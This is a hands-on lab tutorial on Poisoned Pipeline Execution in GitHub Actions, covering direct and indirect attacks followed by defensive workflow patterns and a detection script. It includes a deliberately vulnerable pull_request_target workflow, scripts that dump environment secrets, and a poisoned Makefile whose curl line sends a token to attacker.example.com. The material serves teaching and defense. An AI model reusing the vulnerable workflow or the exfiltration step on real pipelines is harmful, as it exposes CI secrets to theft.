Lab: Exploiting and Defending Against Poisoned Pipeline Execution (PPE)

Overview

Poisoned Pipeline Execution (PPE) ranks as the #2 risk in the OWASP CI/CD Security Top 10. It is a class of attacks where a malicious actor manipulates the build process by injecting code into pipeline definitions or build scripts, typically through a pull request. Once the CI system picks up the change, the attacker’s code runs inside the build environment — potentially exfiltrating secrets, tampering with artifacts, or pivoting to internal infrastructure.

This hands-on lab walks you through both Direct PPE and Indirect PPE in a safe, sandboxed GitHub Actions environment. You will simulate the attacks yourself, observe the results, and then implement the defensive patterns that stop them.

By the end of this lab you will be able to:

  • Explain the three PPE variants and how they differ.
  • Demonstrate Direct PPE via pull_request_target and Indirect PPE via a poisoned Makefile.
  • Implement five defensive workflow patterns that neutralize PPE.
  • Write a basic detection script for suspicious CI activity.

Prerequisites

  • A GitHub account (free tier is sufficient).
  • Two test repositories you own — one acts as the victim pipeline repo, the other as the attacker fork.
  • Basic familiarity with GitHub Actions workflow syntax (on:, jobs:, steps:).
  • A terminal with git and curl installed.

Important Safety Notice

This lab must run in isolated test repositories that you own and control. Never test Poisoned Pipeline Execution techniques against real production pipelines, shared organization repos, or open-source projects you do not own. Every exercise below uses repositories you create specifically for this lab. Delete them when you are finished.

Understanding Poisoned Pipeline Execution

PPE exploits a fundamental trust assumption: the CI/CD system trusts the code it checks out and executes. An attacker who can influence what code the pipeline runs can hijack the build. There are three recognized variants:

Direct PPE (D-PPE)

The attacker directly modifies the pipeline definition file itself — for example, .github/workflows/build.yml. If the CI system runs the modified version from the pull request branch, the attacker’s arbitrary commands execute in the CI environment.

Indirect PPE (I-PPE)

The attacker does not touch the workflow YAML. Instead, they modify files that the pipeline consumes: a Makefile, a shell script called by the workflow, a Dockerfile, a configuration file, or even a dependency manifest. The pipeline definition stays identical to the base branch, but the build logic has been poisoned.

Public / Third-Party PPE (3P-PPE)

The attacker targets a public repository by forking it and submitting a pull request. This is the most common real-world vector because it requires no prior access to the target repository — only the ability to open a PR.

Attack Flow Diagram

┌─────────────┐         ┌──────────────────┐         ┌────────────────┐
│  Attacker    │  fork   │  Victim Repo     │  trigger│  CI/CD Runner  │
│  (fork/PR)   │────────▶│  (base branch)   │────────▶│  (GitHub       │
│              │         │                  │         │   Actions)     │
└──────┬───────┘         └──────────────────┘         └───────┬────────┘
       │                                                      │
       │  1. Modify workflow YAML (D-PPE)                     │
       │     OR build scripts (I-PPE)                         │
       │  2. Open Pull Request                                │
       │                                                      │
       │                   3. CI checks out PR code ◀─────────┘
       │                   4. Executes attacker's payload
       │                   5. Secrets / tokens exfiltrated
       ▼
┌─────────────────────────────────────────────────────────────────────┐
│  Impact: secret theft, artifact tampering, lateral movement        │
└─────────────────────────────────────────────────────────────────────┘

Exercise 1: Direct PPE — Modifying the Workflow File

In this exercise you will see how GitHub Actions protects against the simplest form of D-PPE when you use the pull_request trigger.

Step 1 — Create the Victim Repository

Create a new public repository called ppe-lab-victim. Add the following workflow file:

.github/workflows/build.yml

name: Build

on:
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Build
        run: |
          echo "Building the project..."
          echo "Build completed successfully."

Commit this to the main branch.

Step 2 — Fork and Poison the Workflow (Attacker Perspective)

Fork ppe-lab-victim to your second GitHub account (or use the same account for simplicity). In the fork, edit .github/workflows/build.yml:

name: Build

on:
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Exfiltrate environment variables
        run: |
          echo "=== EXFILTRATING ENVIRONMENT ==="
          env | sort
          echo "=== GITHUB_TOKEN ==="
          echo "Token length: ${#GITHUB_TOKEN}"

Step 3 — Open a Pull Request

From the fork, open a PR against main in the victim repo.

Step 4 — Observe the Result

Navigate to the Actions tab. You will see that the workflow that ran is the version from the base branch (main), not the attacker’s modified version. The “Exfiltrate environment variables” step does not exist in the executed workflow.

This is GitHub Actions’ built-in protection for the pull_request event: it always uses the workflow file from the base branch, not the PR branch. The attacker’s YAML modifications are ignored.

Key Insight: The pull_request trigger is safe against Direct PPE because the workflow definition comes from the base branch. However, this protection does not extend to all triggers — as you will see next.

Exercise 2: The Dangerous pull_request_target

The pull_request_target event was introduced to allow workflows to comment on PRs, label them, or perform other actions that require write permissions and access to secrets. It runs in the context of the base branch but can be configured to check out the PR’s code — and that is where the danger lies.

Step 1 — Create a Vulnerable Workflow

In your ppe-lab-victim repo, create a new workflow:

.github/workflows/pr-check.yml

name: PR Check

on:
  pull_request_target:
    branches: [main]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR code
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Run tests
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}
        run: |
          echo "Running tests on PR code..."
          cat README.md
          echo "Tests passed."

Before continuing, go to the repo’s Settings → Secrets and variables → Actions and add a repository secret called MY_SECRET with the value super-secret-token-12345.

Step 2 — Exploit the Vulnerability (Attacker Perspective)

In the fork, create a file called README.md (or modify the existing one) and add this at the bottom:

This is a normal README update.

Now also modify .github/workflows/pr-check.yml in the fork. But wait — remember that pull_request_target runs the base branch workflow, so modifying the YAML in the fork does nothing. The attacker needs a different approach.

Instead, create a malicious script in the fork:

test.sh

#!/bin/bash
echo "=== Environment Variables ==="
env | sort
echo "=== Secret Value ==="
echo "MY_SECRET=$MY_SECRET"

Now update the victim repo’s workflow to call this script (simulating a workflow that executes checked-out code):

.github/workflows/pr-check.yml (updated on the base branch):

name: PR Check

on:
  pull_request_target:
    branches: [main]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR code
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Run tests
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}
        run: |
          echo "Running tests on PR code..."
          chmod +x test.sh
          ./test.sh

Step 3 — Open the PR and Observe

Open a PR from the fork. The workflow runs from the base branch definition but checks out the attacker’s code. The malicious test.sh executes and prints the secret value.

Check the Actions log. You will see:

=== Environment Variables ===
GITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx
...
=== Secret Value ===
MY_SECRET=super-secret-token-12345

This is classic Poisoned Pipeline Execution. The workflow definition is trusted (base branch), but the code it executes is attacker-controlled (PR branch checkout).

Key Insight: The combination of pull_request_target + actions/checkout with ref: ${{ github.event.pull_request.head.sha }} + executing checked-out code + secrets in environment is the most dangerous PPE pattern in GitHub Actions.

Exercise 3: Indirect PPE — Poisoning Build Scripts

Indirect PPE is more subtle. The attacker never touches the workflow YAML — they modify files that the pipeline consumes. This bypasses the pull_request trigger’s built-in protection against workflow file changes.

Step 1 — Create a Repo with a Makefile-Based Build

In your ppe-lab-victim repo, add a Makefile:

.PHONY: build test

build:
	@echo "Compiling project..."
	@echo "Build successful."

test:
	@echo "Running unit tests..."
	@echo "All tests passed."

Update the workflow to use the Makefile:

.github/workflows/build.yml

name: Build

on:
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Build project
        run: make build

      - name: Run tests
        run: make test

Notice this uses the safe pull_request trigger. The workflow YAML itself is protected.

Step 2 — Poison the Makefile (Attacker Perspective)

In the fork, modify only the Makefile (do not touch any workflow file):

.PHONY: build test

build:
	@echo "Compiling project..."
	@echo "Build successful."
	@echo "=== PPE: Dumping environment ==="
	@env | sort
	@echo "=== PPE: Exfiltrating token ==="
	@curl -s http://attacker.example.com/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>/dev/null || echo none)

test:
	@echo "Running unit tests..."
	@echo "All tests passed."

Step 3 — Open the PR and Observe

Open a PR from the fork. The workflow file from the base branch runs (safe!), but actions/checkout checks out the PR branch code, which includes the poisoned Makefile. When the workflow calls make build, it executes the attacker’s modified Makefile.

In the Actions log you will see the environment variables dumped. The curl command will fail (the domain does not exist), but in a real attack it would succeed.

Key Insight: The pull_request trigger protects the workflow YAML, but it does not protect the repository content that the workflow executes. Any file that the pipeline runs, sources, or includes is a potential I-PPE vector: Makefile, package.json scripts, Dockerfile, .eslintrc.js, pytest.ini, shell scripts, and more.

Exercise 4: Defense — Safe Workflow Patterns

Now that you understand the attack, let’s implement the defenses.

Pattern 1: Never Checkout PR Head in pull_request_target Workflows

If you must use pull_request_target, never check out the PR code. Only operate on metadata:

name: Label PR

on:
  pull_request_target:
    types: [opened]

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      # Safe: no checkout at all
      - name: Add label
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.addLabels({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              labels: ['needs-review']
            });

Rule: If a pull_request_target workflow does not need the PR’s source code, do not check it out.

Pattern 2: Use pull_request Trigger and Withhold Secrets

For PR validation, use pull_request and ensure no secrets are passed to the job:

name: PR Validation

on:
  pull_request:
    branches: [main]

jobs:
  validate:
    runs-on: ubuntu-latest
    # No secrets referenced anywhere in this job
    steps:
      - uses: actions/checkout@v4

      - name: Lint
        run: npm run lint

      - name: Unit tests
        run: npm test

Even if an I-PPE attack modifies package.json scripts, the attacker gains no secrets because none are available.

Pattern 3: Separate Validate and Build Workflows

Split your CI into two stages — an untrusted validation step and a trusted build step:

# .github/workflows/validate.yml — runs on PRs, no secrets
name: Validate

on:
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make lint
      - run: make test-unit
# .github/workflows/build.yml — runs only on main, full secrets
name: Build and Deploy

on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Build
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
        run: make build

      - name: Deploy
        run: make deploy

Secrets are only available in workflows triggered by pushes to main, which requires the PR to be merged first (and thus reviewed and approved).

Pattern 4: Minimize Token Scope with permissions

Restrict the automatic GITHUB_TOKEN to the bare minimum:

name: PR Check

on:
  pull_request:
    branches: [main]

permissions: {}  # No permissions at all

jobs:
  check:
    runs-on: ubuntu-latest
    permissions:
      contents: read  # Only read access, nothing else
    steps:
      - uses: actions/checkout@v4
      - run: make test

Even if the attacker exfiltrates the GITHUB_TOKEN, it can only read public content — it cannot push code, create releases, or access secrets.

Pattern 5: Pin Checkout to Base Branch for Sensitive Operations

If you must use pull_request_target and need some PR context, check out the base branch for sensitive steps and only use PR metadata:

name: Secure PR Check

on:
  pull_request_target:
    branches: [main]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      # Check out the BASE branch (trusted code)
      - name: Checkout base branch
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.base.sha }}

      - name: Run trusted build scripts
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}
        run: |
          # These scripts come from the base branch, not the PR
          ./scripts/validate-pr.sh

Rule: Trusted code (base branch) handles secrets. Untrusted code (PR branch) never touches them.

Exercise 5: Defense — Protecting Against Indirect PPE

I-PPE is harder to defend against because the attacker modifies regular files, not workflow definitions. Here are the key countermeasures.

CODEOWNERS for Build-Critical Files

Create a CODEOWNERS file that requires security team review for any changes to build scripts:

# .github/CODEOWNERS

# Build infrastructure — require security team review
Makefile                    @myorg/security-team
Dockerfile                  @myorg/security-team
.github/workflows/          @myorg/security-team
scripts/                    @myorg/security-team
package.json                @myorg/security-team
*.sh                        @myorg/security-team

Combined with branch protection rules that require CODEOWNERS approval, this prevents unreviewed changes to build-critical files from being merged.

Require Approval Before CI Runs on External PRs

Go to your repository’s Settings → Actions → General and under “Fork pull request workflows from outside collaborators,” select “Require approval for all outside collaborators”. This ensures a maintainer must explicitly approve CI execution for every external PR.

Use workflow_run for Trusted Post-PR Processing

The workflow_run event lets you chain workflows: a safe, secretless PR workflow triggers first, and only on its success does a trusted workflow run with full permissions.

# .github/workflows/pr-validate.yml — untrusted, no secrets
name: PR Validate

on:
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make lint
      - run: make test
# .github/workflows/pr-post-validate.yml — trusted, has secrets
name: PR Post-Validate

on:
  workflow_run:
    workflows: ["PR Validate"]
    types: [completed]

permissions:
  contents: read
  pull-requests: write
  statuses: write

jobs:
  report:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
      # Check out the BASE branch — never the PR branch
      - name: Checkout base
        uses: actions/checkout@v4

      - name: Post status comment
        uses: actions/github-script@v7
        with:
          script: |
            const runId = context.payload.workflow_run.id;
            const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);
            for (const prNumber of prNumbers) {
              await github.rest.issues.createComment({
                owner: context.repo.owner,
                repo: context.repo.repo,
                issue_number: prNumber,
                body: `Validation passed. Workflow run: ${runId}`
              });
            }

The second workflow runs in the context of the default branch, has access to secrets, but never checks out PR code. This is the safest pattern for post-PR processing that needs elevated permissions.

Run Untrusted Code in Sandboxed Containers

If you must execute PR code with any form of access, run it in a locked-down container:

jobs:
  sandbox-test:
    runs-on: ubuntu-latest
    container:
      image: alpine:3.19
      options: --network none  # No network access
    steps:
      - uses: actions/checkout@v4
      - name: Run untrusted tests
        run: |
          # This runs inside a container with NO network
          # Even if the Makefile tries to exfiltrate, it cannot reach the internet
          apk add --no-cache make
          make test

The --network none flag prevents any outbound connections, making exfiltration impossible even if the attacker’s payload executes.

Exercise 6: Detection

Prevention is best, but detection provides defense in depth. Here is how to spot PPE attempts.

Monitor for Suspicious Commands in CI Logs

Create a detection script that scans workflow files for common PPE indicators:

#!/bin/bash
# detect-ppe.sh — Scan workflow files for PPE risk indicators

WORKFLOW_DIR=".github/workflows"
EXIT_CODE=0

echo "=== PPE Risk Scanner ==="
echo ""

# Check 1: pull_request_target with checkout of PR head
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -q "pull_request_target" "$file"; then
    if grep -q "github.event.pull_request.head" "$file"; then
      echo "[CRITICAL] $file: pull_request_target + PR head checkout detected"
      echo "           This is the classic D-PPE vulnerability."
      EXIT_CODE=1
    fi
  fi
done

# Check 2: Workflows that execute checked-out scripts
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -qE '\./.*\.sh|make |npm run|yarn |python .*\.py' "$file"; then
    if grep -q "pull_request" "$file"; then
      echo "[WARNING]  $file: PR workflow executes repo scripts (I-PPE risk)"
      echo "           Ensure no secrets are passed to this job."
    fi
  fi
done

# Check 3: Secrets used in PR workflows
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -q "pull_request" "$file"; then
    if grep -q "\${{ secrets\." "$file"; then
      echo "[HIGH]     $file: Secrets referenced in PR workflow"
      echo "           Secrets should not be available in PR-triggered workflows."
      EXIT_CODE=1
    fi
  fi
done

# Check 4: Overly broad permissions
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -q "pull_request" "$file"; then
    if grep -q "permissions: write-all" "$file" || ! grep -q "permissions:" "$file"; then
      echo "[MEDIUM]   $file: PR workflow with broad or unset permissions"
      echo "           Add explicit 'permissions: {}' or minimal scopes."
    fi
  fi
done

echo ""
if [ $EXIT_CODE -eq 0 ]; then
  echo "No critical PPE risks detected."
else
  echo "Critical PPE risks found. Review the findings above."
fi

exit $EXIT_CODE

GitHub Audit Log Monitoring

For GitHub Enterprise or organization-level monitoring, use the audit log API to track workflow changes:

# Query audit log for workflow file modifications
gh api \
  -H "Accept: application/vnd.github+json" \
  /orgs/{org}/audit-log?phrase=action:workflows \
  --paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'

Automated PR Review for Build File Changes

Add a workflow that flags PRs modifying build-critical files:

name: Build File Change Alert

on:
  pull_request:
    paths:
      - 'Makefile'
      - 'Dockerfile'
      - '**/*.sh'
      - 'package.json'
      - '.github/workflows/**'

jobs:
  alert:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Comment warning
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: '⚠️ **Build File Change Detected**\n\nThis PR modifies build-critical files. A security team review is required before merging.\n\nModified paths trigger: Makefile, Dockerfile, shell scripts, package.json, or workflow files.'
            });

Cleanup

After completing the lab:

  1. Delete the ppe-lab-victim repository.
  2. Delete the forked repository.
  3. Revoke any personal access tokens you created for testing.
  4. Remove the MY_SECRET repository secret if the repo still exists.

Do not leave vulnerable test workflows running in any repository you intend to keep.

Key Takeaways

  • The pull_request trigger is safe against D-PPE because it runs the workflow from the base branch, not the PR branch.
  • pull_request_target + PR head checkout is the most dangerous pattern in GitHub Actions. It gives attacker code access to secrets and write permissions.
  • Indirect PPE bypasses workflow-level protections by poisoning files the pipeline executes (Makefiles, scripts, configs) rather than the workflow itself.
  • Separate untrusted and trusted stages: run PR validation without secrets, and only grant secrets to workflows triggered by pushes to protected branches.
  • Defense in depth is essential: combine CODEOWNERS, approval requirements, minimal permissions, sandboxed execution, and detection scripts.
  • Treat every file in a PR as untrusted input — not just the workflow YAML, but every script, config, and manifest the pipeline touches.

Next Steps

Continue strengthening your CI/CD security knowledge with these related guides: